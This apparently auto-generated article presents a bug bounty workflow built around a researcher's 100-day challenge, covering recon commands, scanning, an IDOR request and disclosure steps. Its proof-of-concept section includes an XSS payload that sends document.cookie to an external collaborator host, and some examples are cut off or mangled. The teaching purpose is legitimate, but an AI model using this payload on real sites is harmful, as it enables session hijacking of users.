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Introduction:
The journey from novice to a published security researcher is often shrouded in mystery. When Deepak Saini reported CVE-2025-55184 as part of a public 100-day challenge, it demonstrated a replicable path to success in bug bounty hunting. This article deconstructs the methodology, tools, and mindset required to transition from learning to responsibly disclosing critical vulnerabilities, providing a actionable roadmap for aspiring hunters.
Learning Objectives:
- Understand the core phases of a modern bug bounty hunting workflow, from reconnaissance to proof-of-concept development.
- Learn to configure and use essential security tools for web application testing on Linux and Windows platforms.
- Develop a structured approach to validate, document, and report vulnerabilities to official CVE Numbering Authorities (CNAs).
You Should Know:
1. Building Your Foundation and Hunting Ground
The first step is not hacking; it’s learning and scoping. A successful hunter builds a lab, masters the tools, and identifies suitable targets. This involves setting up a controlled environment to practice safely and learning how to ethically find targets in public bounty programs or with proper authorization.
Step‑by‑step guide:
Set Up Your Lab: Use virtualization software like VirtualBox or VMware. Install Kali Linux (the premier security distro) or configure Windows Subsystem for Linux (WSL2) on Windows to run Linux tools.
On Windows, enable WSL and install a distro from PowerShell (Admin) wsl --install -d Ubuntu
Master the Basics: Understand HTTP/HTTPS, cookies, headers, and common web technologies (JavaScript, APIs, SQL). Practice on deliberately vulnerable apps like OWASP Juice Shop or DVWA (Damn Vulnerable Web Application).
Find Targets: Start with public bug bounty platforms like HackerOne, Bugcrowd, or Open Bug Bounty. Use advanced search operators on Google or GitHub to find assets.
Example `gobuster` command for subdomain enumeration gobuster dns -d example.com -w /usr/share/wordlists/subdomains-top1million-5000.txt -t 50 -o subs.txt
2. The Reconnaissance Phase: Mapping the Attack Surface
Reconnaissance is the most critical phase, where 80% of success is determined. It involves discovering all accessible assets—subdomains, APIs, files, and endpoints—associated with a target to maximize the attack surface.
Step‑by‑step guide:
Passive Enumeration: Use tools that gather data without touching the target directly. `Amass` and `Subfinder` are excellent for subdomain discovery.
subfinder -d example.com -all -o subfinder_results.txt amass enum -passive -d example.com -o amass_results.txt
Active Enumeration: Probe the discovered assets. Use `httpx` to filter live hosts and gobuster/ffuf for directory fuzzing.
cat discovered_subdomains.txt | httpx -silent -threads 100 -o live_hosts.txt ffuf -w /usr/share/wordlists/dirb/common.txt -u https://target/FUZZ -fs 4242
Technology Fingerprinting: Identify technologies (CMS, frameworks, servers) using `Wappalyzer` (browser extension) or whatweb.
whatweb https://target.com --color=never
3. Vulnerability Discovery: Manual Testing and Automated Scanning
This phase involves interacting with the application to find flaws. Combine automated scanners with manual, hypothesis-driven testing to find logic errors automated tools miss.
Step‑by‑step guide:
Automated Scanning (Assisted, Not Replacement): Use tools like `Nikto` for quick win checks or `Nuclei` with community templates for known vulnerabilities.
nuclei -u https://target.com -t ~/nuclei-templates/ -severity medium,high,critical -o nuclei_scan.txt
Manual Testing Core:
- Map Functionality: Manually browse the entire app, noting all inputs (forms, URL parameters, API calls).
- Test for OWASP Top 10: Methodically check for SQLi, XSS, Broken Access Control, etc. Use Burp Suite or OWASP ZAP as an intercepting proxy.
- Intercept & Modify: Capture a request in Burp Suite and send it to the Repeater tool to manipulate parameters.
POST /api/user/update HTTP/1.1 Host: target.com ... user_id=attacker_id&[email protected] Test for IDOR
4. Exploitation and Proof-of-Concept (PoC) Development
Finding a bug is one thing; proving its impact is another. A clear, reproducible PoC is mandatory for a valid report and CVE assignment.
Step‑by‑step guide:
Craft a Reliable Exploit: Your goal is to demonstrate impact, not cause damage. For an XSS, create a payload that triggers an alert or captures a dummy cookie.
<script>fetch('https://your-collab.net?c='+document.cookie)</script>
Document Meticulously: Create a step-by-step walkthrough.
- Vulnerable Endpoint: `https://target.com/search?q=
`
2. Steps to Reproduce: Visit the URL with the payload. Observe the JavaScript execution.
3. Screenshot/Video: Include clear evidence.
Test in Different Contexts: Check if the vulnerability works in reflected, stored, or DOM-based contexts.
5. From Report to CVE: The Disclosure Process
Responsible disclosure turns a find into a legitimate achievement. This involves reporting to the vendor, tracking the fix, and potentially obtaining a CVE ID.
Step‑by‑step guide:
Draft the Report: Use a clear structure: Executive Summary, Technical Details, PoC Steps, Impact, Remediation Suggestions.
Submit to the Right Place: If the company has a security policy, use it. If not, report via the platform you found it on or email security@[bash].com.
Pursue a CVE: If the vulnerability is accepted and of sufficient severity, you or the vendor can request a CVE from a CNA (like MITRE for certain projects, or GitHub for repos). Prepare a detailed description, references, and affected versions.
What Undercode Say:
- Process Over Luck: The “100-Day Challenge” highlights that consistent, daily effort trumps sporadic genius. Building a systematic reconnaissance and testing methodology is far more valuable than hunting for a single “lucky” find.
- Community is a Force Multiplier: Engaging with communities (like the WhatsApp group mentioned) accelerates learning. Sharing techniques, tools, and target insights helps hunters avoid blind spots and stay motivated through the inevitable dry spells.
The post’s ethos of “trust the process” is the cornerstone of professional bug hunting. Reporting a CVE like CVE-2025-55184 is not an endpoint but a milestone that validates a repeatable, structured approach. The real skill cultivated is not just in exploiting a flaw, but in the relentless, systematic exploration of complex systems—a skill that becomes increasingly vital as attack surfaces grow.
Prediction:
The public, gamified approach to skill-building, as seen in the 100-day challenge, will become the standard onboarding path for cybersecurity talent. We will see a rise in platform-integrated “learning by hunting” environments and micro-CVEs for educational vulnerabilities. Furthermore, as AI-assisted code generation becomes ubiquitous, a parallel surge in AI-assisted vulnerability discovery and remediation will emerge, shifting the hunter’s role towards auditing complex AI logic chains and supply chain dependencies rather than just traditional code. The bug hunter of 2027 will be as proficient in prompting security LLMs and reviewing AI-generated code as they are with Burp Suite today.
▶️ Related Video (82% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Deepak Saini – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
